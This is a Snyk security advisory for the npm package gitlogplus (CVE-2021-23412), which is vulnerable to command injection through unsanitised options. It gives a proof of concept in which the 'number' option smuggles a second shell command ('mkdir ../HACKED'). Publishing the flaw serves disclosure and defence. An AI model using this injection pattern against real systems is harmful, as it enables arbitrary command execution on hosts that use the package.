snyk Vulnerability DB

HIGH

Snyk Vulnerability Database › npm › gitlogplus

Search by package name or CVE

Command Injection

Affecting gitlogplus package, versions *

INTRODUCED: 2 JUL 2021 CVE-2021-23412 CWE-78 FIRST ADDED BY SNYK

Share

How to fix?

There is no fixed version for `gitlogplus`.

Overview

gitlogplus is a Git log parser for Node.JS

Affected versions of this package are vulnerable to Command Injection via the main functionality, as `options` attributes are appended to the command to be executed without sanitization.

PoC by Rafal Janicki

```
# 1. Run `npm i gitlogplus` # 2. Run `mkdir git && git init git` (creates empty git repository as subdirectory to working directory) # 3. Commit a file in the repository so that git log has been created # 4. Run the below JavaScript PoC, which will create a folder HACKED in the parent directory of the new git repository
```

```
"use strict" const gitlog = require('gitlogplus'); const options = { repo: __dirname + '/git', number: '20; mkdir ../HACKED; git log ' };
```

```
let commits = gitlog(options); console.log(commits);
```

References

- HackerOne Report

Snyk CVSS

Exploit Maturity	Proof of concept
Attack Complexity	High
Confidentiality	HIGH
Integrity	HIGH
Availability	HIGH

See more

NVD 9.8 CRITICAL

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk ID	SNYK-JS-GITLOGPLUS-1315832
Published	23 Jul 2021
Disclosed	2 Jul 2021
Credit	Rafal Janicki

Report a new vulnerability

Found a mistake?

About

Jobs

Contact

Policies

Do Not Sell My Personal Information

CONTACT US

Support

Report a new vuln

Press Kit

Events

FIND US ONLINE

TRACK OUR DEVELOPMENT

DevSecCon Join the >> community

Registered in England and Wales. Company number: 09677925

Registered address: Highlands House, Basingstoke Road, Spencers Wood, Reading, Berkshire, RG7 1NT.